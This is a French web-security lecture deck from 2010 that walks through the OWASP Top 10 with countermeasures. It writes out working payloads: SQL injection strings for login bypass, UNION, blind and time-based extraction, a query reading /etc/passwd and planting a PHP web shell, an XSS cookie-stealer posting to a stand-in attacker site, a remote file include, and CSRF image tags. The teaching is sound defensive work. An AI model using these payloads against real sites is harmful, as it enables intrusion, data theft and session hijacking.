Cours Secu Web
-
Upload
cedric-foll -
Category
Technology
-
view
5.953 -
download
0
description
Transcript of Cours Secu Web
SÉCURITÉ WEB(introduction)
cedric.foll@(laposte.net|education.gouv.fr)http://cedric.foll.name/
Sous licence « creative common »Paternité, Partage des Conditions Initiales à l'Identiquehttp://creativecommons.org/licenses/by-sa/2.0/fr/
1
mercredi 13 janvier 2010
PLAN
Les principales vulnérabilités et attaques associées
Scénario d’attaque
De la faille web à la prise en main du serveur (ou du client)
2
mercredi 13 janvier 2010
Top 10 2010 de l’OWASP (Open Web Application Security Project) :
A1 InjectionA2 Cross Site Scripting (XSS)A3 Broken Authentication and Session ManagementA4 Insecure Direct Object Reference
A5 Cross Site Request Forgery (CSRF)
A6 Security Misconfiguration
A7 Failure to Restrict URL Access
A8 Unvalidated Redirects and Forwards
A9 Insecure Cryptographic Storage
A10 Insufficient Transport Layer Protection
VULNÉRABILITÉS
3
mercredi 13 janvier 2010
A1INJECTION
FLAWAttaque
Impact
Contre mesure
4
mercredi 13 janvier 2010
INJECTION FLAWS : PRINCIPE DE L’ATTAQUE
Injection Flaw :
Injection de code qui sera exécuté par le « serveur »
Le code est en général du SQL, mais aussi possible avec d’autres langages de requête (ldap, XPatch, ...) ou encore du code interprété (fonction de type « eval », « system » et consorts...).
Probablement le moyen le plus simple pour prendre le contrôle d’un serveur.
Nous n’abordons ici que les SQL Injection en prenant comme exemple PHP/Mysql.
5
mercredi 13 janvier 2010
ATTAQUES « SIMPLES »6
mercredi 13 janvier 2010
SQL INJECTION : PRINCIPE DE L’ATTAQUE
L'attaquant envoie au site par différents champs (formulaire GET, POST, Cookies, User-Agent, ...) du code SQL qui sera exécuté par le serveur.
Le serveur utilise les données envoyées par l'utilisateur pour construire une requête SQL.
Impact sur l’application web
Contournement du processus d'authentification.
Récupération (ou altération) de données dans la base.
Récupération (ou dépôt) de fichier.
Exécution de code arbitraire.
7
mercredi 13 janvier 2010
SQL INJECTIONCONTOURNEMENT D’IDENTIFICATION
8
mercredi 13 janvier 2010
SQL INJECTIONCONTOURNEMENT D’IDENTIFICATION
Requête SQL construite :
select * from user where user = '$user' and passwd='$passwd'
Paramètres envoyés par le pirate
$user = 'or 1=1#
$passwd = toto
Ce qui va être envoyé vers le serveur SQL
select * from user where user = '' or 1=1# ' and passwd='toto'
9
mercredi 13 janvier 2010
SQL INJECTIONCONTOURNEMENT D’IDENTIFICATION
Conséquences
La requête SQL va renvoyer des résultats et donc le test suivant va aboutir :
if(mysql_num_rows($results) != 0)
Le pirate est authentifié !
Que faire si le test avait été ?
if(mysql_num_rows($results) == 1)
Le pirate peut utiliser la commande SQL limit :
limit nombre d’éléments offset indice
select * from user where user = '' or 1=1 limit 1 offset 0 -> renvoie le premier élément (indice 0) de la table.
10
mercredi 13 janvier 2010
SQL INJECTIONCONTOURNEMENT D’IDENTIFICATION
Envoyer des caractères spéciaux dans les champs des formulaires et voir si des erreurs sont générées.
caractères à essayer : ' (quote), '' (double quote), (, ), #, --, ;
Exemple d'erreur pouvant apparaître :
11
mercredi 13 janvier 2010
SQL INJECTIONCONTOURNEMENT D’IDENTIFICATION
En générale faire un ' or 1=1# ne suffit pas :
La requête SQL peut être plus complexe (usage de parenthèses par exemple):
select * from user where (login='$login' and passwd='$passwd')
On injecte :
login = ' or 1=1)#
12
mercredi 13 janvier 2010
SQL INJECTIONCONTOURNEMENT D’IDENTIFICATION
Les messages d'erreur peuvent aider à construire l'attaque :
Error in query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'toto')' at line 1
Les messages d'erreur ci dessus montrent qu'il y a une parenthèse à fermer pour construire la réponse.
13
mercredi 13 janvier 2010
LA CONTRE-MESURE (HASARDEUSE) EN PHP
magic_quote_gpc = On
Ce réglage remplace toutes les « quote » par « antislash quote » dans tout ce qu'envoie l'utilisateur (GET, POST, COOKIES).
Impossibilité de contourner les processus d'authentification par SQL injection !
« This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 6.0.0. Relying on this feature is highly discouraged. » (http://php.net/manual/en/security.magicquotes.php)
14
mercredi 13 janvier 2010
ATTAQUES « COMPLEXES »
15
mercredi 13 janvier 2010
SQL INJECTIONRÉCUPÉRATION DE DONNÉES
Si le développeur utilise gpc_magic_quotes (ou s’il filtre les « quote » dans les entrées utilisateurs) ?
Si contourner l’authentification ne vous suffit pas (parce que ce qui vous intéresse est de dumper la table) ?
Les solutions :
UNION query (inband) SQL Injection
Blind SQL Injection
Full blind SQL injection (ou time based SQL Injection)16
mercredi 13 janvier 2010
UNION QUERY (INBAND) SQL INJECTION
Considérons le code suivant dont le résultat est ensuite affiché par le serveur d’application :
select texte from commentaire where id=$id
Avec MySQL (et la plupart des bases de données), les comparaisons sur les nombres se font sans « quote ».
Il est également possible d’utiliser des chaines sans « quote » en les écrivant en hexadécimal (0x414243 = ‘ABC’).
Pour exploiter cette faille, il est possible d’envoyer ceci :
id = 3141 union select login from utilisateurs limit 1 offset 0
Si dans la table « commentaire », il n’y a pas d’entrée avec comme id « 3141 », la commande renverra le premier « login » de la table « utilisateurs ».
17
mercredi 13 janvier 2010
ATTAQUE
Il faut à gauche et à droite de l’UNION avoir le même nombre de champs (1 champ dans notre exemple).
Assez simple à gérer, il suffit d’utiliser la commande «order by» pour déterminer, par tâtonnement, le nombre d’éléments dans la requête:
id = 3141 order by 6 #
Puis lorsque l’on a trouvé le nombre maximum ne générant pas d’erreurs:
id = 3141 union select 1,2,3,4,5,6 #
Présences de parenthèses...
Par tâtonnement en s’appuyant, le cas échéant, sur les messages d’erreur.
18
mercredi 13 janvier 2010
ATTAQUE
Certaines bases (telles que PostgreSQL mais pas MySQL) attendent le même type de données à gauche et à droite du UNION.
Il existe des fonctions de type CAST pour s’en sortir.
Il faut connaître des tables et des colonnes à récupérer.
Facile si on possède les sources de l'application.
Sinon cela dépend de la base de données et de sa version :
À partir de MySQL 5.0 la base « information_schema » contient les META données.
Sinon par « bruteforce » avec des chances de succès très aléatoire.
19
mercredi 13 janvier 2010
ATTAQUE
Il est aussi possible d’utiliser la commande concat (MySQL) pour aller plus vite :
id = 3141 union select concat(login,111,password) from utilisateurs limit 1 offset 0
20
mercredi 13 janvier 2010
BLIND SQL INJECTION
Que faire si l’on arrive à injecter du code, mais que le serveur
d’application n’affiche pas le résultat ?
C’est le cas, notamment, dans les processus d’authentification.
On est juste capable de savoir si la commande renvoie vrai ou faux.
Dans la pratique, c’est quelque chose qui arrive relativement souvent (et pas seulement dans les requêtes liées à une identification).
21
mercredi 13 janvier 2010
ATTAQUE
Considérons le code suivant utilisé pour afficher le nombre de clients ayant réalisé plus de « nb » achats.
select COUNT(*) from client where achats >= $nb
Injections :
nb = 3141 or 1=1 # affiche le nombre total de clients
dans la base
nb = 0 and 1=0 # affiche 0
22
mercredi 13 janvier 2010
ATTAQUE
Récupération du contenu de la variable @@version
Récupération octet par octet par dichotomie :
nb = 0 and ascii(SUBSTRING(@@version,1,1)) >= 128
Si vrai :
nb = 0 and ascii(SUBSTRING(@@version,1,1)) >= 192
Sinon :
nb = 0 and ascii(SUBSTRING(@@version,1,1)) >= 64
...
Puis (passage au second octet) :
nb = 0 and ascii(SUBSTRING(@@version,2,1)) >= 128
23
mercredi 13 janvier 2010
ATTAQUE
Cela peut sembler compliqué et long
Mais c’est facilement scriptable et marche souvent très bien.
Il faut cibler les données à récupérer (par exemple login/mots de passe).
24
mercredi 13 janvier 2010
FULL BLIND SQL INJECTION
Que faire si l’on arrive à injecter du code, mais même pas à savoir s’il
renvoie vrai ou faux ?
Il reste un (maigre) espoir, la commande sleep (MySQL >= 5.0.12) et les exécutions conditionnelles (IF sous MySQL).
IF(1=1,foo,bar) -> renvoie foo
L’attaque devient :
nb = 3141 or IF(ascii(SUBSTRING(@@version,1,1)) >= 128,sleep(5),1)
Si le serveur attend 5 secondes c’est que le test a réussi...
25
mercredi 13 janvier 2010
ATTAQUE
Cela peut sembler compliqué et long
C’est exact !
Il faut très précisément cibler les données à récupérer (par exemple, le mot de passe MySQL « root »).
26
mercredi 13 janvier 2010
SQL INJECTIONWHAT ELSE ?
De même qu’il est possible de lire des données il est possible d’en ajouter (INSERT), supprimer (DELETE), modifier (UPDATE).
La plupart des bases de données, dont MySQL, permettent de lire et d’écrire des fichiers :
SELECT LOAD_FILE('/etc/passwd')
SELECT ‘<?php exec($cmd,$res);echo $res;?>’ INTO dumpfile '/var/www/shell.php’
Il est même possible, avec certaines bases de données (mais pas MySQL), d'exécuter directement des commandes systèmes.
27
mercredi 13 janvier 2010
EN BREF
Point d’entrée très efficace pour compromettre un site web.
A minima permet un dump des tables accessibles jusqu’à devenir «administrateur» des applications web:
Permet assez souvent de déposer du code (ajout de fichiers, plugin, ...)
Mais aussi (avec de la chance) :
Exécution de commandes systèmes.
Ou possibilité de déposer un shell php.
28
mercredi 13 janvier 2010
EN BREF
Pour les attaques manuelles :
Paros (http://www.parosproxy.org), Burb (http://portswigger.net/)
Les cheat sheets (http://pentestmonkey.net/cheat-sheets/)
Pour MySQL, PostgreSQL, Oracle, DB2, Informix, MSSQL, Ingres SQL liste les meta tables, la manière d’obtenir la nième ligne, le nième octet, de lire/écrire un fichier...
Un excellent outil d’attaque « automatique »
sqlmap (http://sqlmap.sourceforge.net)
29
mercredi 13 janvier 2010
CONTRE MESURES
Granularité des privilèges
Une application de type livre d’or ne doit pas être MySQL root sur la base de données !
Filtrages des données envoyées par l’utilisateur
Quand c’est un nombre on le vérifie
Quand c’est une chaine, on utilise avec PHP mysql_real_escape_string
Utilisation de « Prepared Statements »30
mercredi 13 janvier 2010
A2XSS
Attaque
Impact
Contre mesures
32
mercredi 13 janvier 2010
XSS : PRINCIPE DE L’ATTAQUE
Le principe des attaques XSS est d’injecter et de faire exécuter un code arbitraire (en général du JavaScript) navigateur Web.
Types d’attaque :
XSS persistant : le pirate piège une page en déposant un code sur la page d’un site
Dépôt de code hostile sur un forum, email malicieux lu sur un webmail
XSS volatile : le pirate crée un lien qui, lorsqu’il sera visité, conduira à l’exécution du code
http://site.fr/index.php?display=<script>alert(document.cookie)</script>
33
mercredi 13 janvier 2010
XSS : IMPACT
Historiquement (ie début des années 2000) :
Vol des sessions utilisateurs (cookie de session envoyé sur la page du pirate)
http://site.fr/index.php?display=<script>document.location='http://www.site-pirate.com/steal.php? '%20+document.cookie</script>
Phishing
Insertion d’une fausse page d'authentification via un « iframe »
34
mercredi 13 janvier 2010
XSS : IMPACT
L’impact explose avec la montée en puissance du Web 2.0 et d’Ajax
« We're entering a time when XSS has become the new Buffer Overflow and Javascript Malware is the new shellcode » (Jeremiah Grossman, Whitehat Security)
Quelques exemples :
Redirige le navigateur vers une page contenant des exploits pour prendre le contrôle de la machine de la victime.
Scanner de ports (ie comme nmap) sur le LAN où se trouve le navigateur de la victime.
Attaquer les sites web du réseau interne à la recherche de XSS et SQL Injection («proof of concept» Jikto)
Trouver le hash NTLM (mot de passe Windows) du poste sur lequel tourne le navigateur (http://code.google.com/p/squirtle/)
...
Et envoyer les résultats de tout ceci au pirate...
35
mercredi 13 janvier 2010
XSS : IMPACT
Et les réseaux sociaux ?
Possibilité d’écrire des « worms » XSS
Samy Worm touche MySpace en 2007
Un utilisateur visitant un profil infecté (ie code JavaScript de réplication) provoque l’infection de son propre profil.
1.000.000 de profils infectés en 20 heures.
D’autres exemples depuis sur orkut, facebook, twitter, ...
36
mercredi 13 janvier 2010
XSS : EN BREF
Permet la prise de contrôle totale du navigateur
37
mercredi 13 janvier 2010
CONTRE MESURE
Filtrer les entrées utilisateurs
Mais surtout : réencoder, au moment de l’affichage, tout ce qui vient de l’utilisateur.
Par exemple en PHP, utilisation de htmlentities()
38
mercredi 13 janvier 2010
POUR ALLER PLUS LOIN
Présentation de Pierre Gardenat à la SSTIC 2009 :
<script>alert('XSS')</script> XSS - de la brise à l'ouragan
voir http://actes.sstic.org/SSTIC09/
39
mercredi 13 janvier 2010
MALICIOUS FILE
EXECUTIONCette attaque était A3 en 2007
selon l’OWASP, supprimée en 2010.
Attaque
Impact
Contre mesures
40
mercredi 13 janvier 2010
MALICIOUS FILE EXECUTION
Faire exécuter au serveur un fichier malveillant
Typiquement un PHP Shell (c99.php, r57.php...), un « payload » metasploit ou sqlmap en PHP, ASP, JSP...
Comment le déposer ?
Accès en écriture sur le serveur (FTP, SSH, HTTP PUT, WebDav...)
Application permettant le dépôt de fichier et qui ne vérifie pas (ou mal) qu’il ne s’agit pas de code.
...
41
mercredi 13 janvier 2010
MALICIOUS FILE EXECUTION
Particularité de PHP
include(« $file ») fonctionne avec $file contenant une URL... (de même que toutes les fonctions relatives à l’ouverture d’un fichier).
Source d’un très grand nombre de failles PHP
Le pirate réussit à écraser le contenu de la variable et l'initialise à « http://pirate.com/c99.gif »
Désactivable via allow_url_fopen = Off dans php.ini.42
mercredi 13 janvier 2010
EXEMPLE DE CODE VULNÉRABLE
43
mercredi 13 janvier 2010
44
mercredi 13 janvier 2010
IMPACT & CONTRE MESURES
Impact
Prise en main du système
Contre mesure
Désactiver allow_url_fopen.
Interdire, si possible, l'exécution de commandes (exec, system, ...) dans les pages web.
Durcissement de la configuration système.45
mercredi 13 janvier 2010
A3BROKEN
AUTHENTICATION AND SESSION
MANAGEMENT
46
mercredi 13 janvier 2010
HTTP est un protocole sans états :
Par conséquent, la gestion des états est du ressort du code applicatif (cookies, GET, POST...)
Le suivi de l’utilisateur se fait via des « SESSION ID » et les caractéristiques de l’utilisateur doivent être stockées du côté du serveur via des « variables de session ».
RAPPELS SUR HTTP
47
mercredi 13 janvier 2010
SESSION ID
Les SESSION ID doivent être aléatoires et ne pas pouvoir être devinées par un pirate :
Elles ne doivent pas transiter en claire.
Éviter de les faire transiter via GET (ie dans l’URL) car alors les SESSION ID sont stockés en claire dans les logs...
Elles doivent s’appuyer sur des mécanismes de générateurs aléatoires robustes :
Par exemple, pas un MD5 de la date de connexion...
Elles doivent avoir un degré d’entropie important pour éviter les attaques par force brute.
Autant que possible s’appuyer sur le mécanisme proposé par le serveur d’application utilisé.
48
mercredi 13 janvier 2010
VARIABLES DE SESSIONS
Tout ce qui caractérise l’utilisateur doit être géré par des variables de sessions
Ne pas utiliser de champs « hiddens » pour ceci !
HTTP est un protocole sans états, par conséquent on ne peut pas vérifier de quelle page il vient ni s’il a modifié des variables cachées.
49
mercredi 13 janvier 2010
ATTAQUE
Deviner le numéro de session d’un utilisateur et récupérer ses privilèges.
Modifier le contenu d’un champ caché utilisé comme variable de sessions (par un programmeur incompétent :))
Par exemple sur un site marchand, le prix des achats est géré par une variable cachée...
50
mercredi 13 janvier 2010
A4INSECURE
DIRECT OBJECT REFERENCE
51
mercredi 13 janvier 2010
INSECURE DIRECT OBJECT REFERENCE
Définition de l’OWASP : « Attacker, who is an authorized system user, simply changes a parameter value that directly refers to a system object to another object they aren’t authorized for. »
Par exemple dans une application de gestion de stocks, pour un utilisateur donné, l’application ne propose l’accès qu’aux stocks gérés par l’utilisateur par un menu déroulant :
Pour l’utilisateur A, accès à « view_stock.php?st=(1|3|4) »
Si A essaie « view_stock.php?st=2 » et que ça passe, il y a un problème...
52
mercredi 13 janvier 2010
A5CROSS SITE
REQUEST FORGERY (CSRF)
53
mercredi 13 janvier 2010
CSRF : PRINCIPE
Conduire l’utilisateur sur un site malveillant.
Sur ce site, conduire son navigateur à réaliser des actions sur un site sur lequel il est authentifié (par exemple en lui faisant charger des images).
Exemple :
Le pirate construit une page qui contient des « images » dont l’URL correspond à l’ajout des articles sur monamazon.com, puis une image qui modifie l’adresse de livraison vers sa propre adresse :
<img src=http://monamazon.com?ajout=iMac27>
<img src=http://monamazon.com?nvl_adr=Cedric Foll rue de Lattre de Tassigny 76130_Mont Saint Aignan>
54
mercredi 13 janvier 2010
CSRF : CONTRE MESURES
Utiliser des POST à la place des GET?
L’attaque par chargement d’images ne fonctionne plus, mais le pirate peut très bien utiliser du javascript à la place.
Utilisation de « token »
Sur chaque page, création d’un token aléatoire et temporaire envoyé via un champ « hidden » dont on valide au niveau du serveur la validité sur chaque page...
On valide ainsi que le formulaire envoyé ait été créé dans les quelques dernières minutes.
55
mercredi 13 janvier 2010
A9INSECURE
CRYPTOGRAPHIC STORAGE
56
mercredi 13 janvier 2010
INSECURE CRYPTOGRAPHIC STORAGE
Quelques règles :
Les mots de passes des utilisateurs doivent, si possible, être stockés sous forme de condensat avec si possible une graine afin de ralentir les attaques par force brute.
Les données sensibles devraient être chiffrées.
57
mercredi 13 janvier 2010
A6 SECURITY MISCONFIGURATION
A7 FAILURE TO RESTRICT URL ACCESS
A8 UNVALIDATED REDIRECTS AND
FORWARDS
A10 INSUFFICIENT TRANSPORT LAYER
PROTECTION
58
mercredi 13 janvier 2010
Non couvert pendant ce cours.
59
mercredi 13 janvier 2010
QUESTIONS?
Remerciements pour les relectures et remarques:
Louis Nyffenegger (ASI2006)
Pierre Gardenat
60
mercredi 13 janvier 2010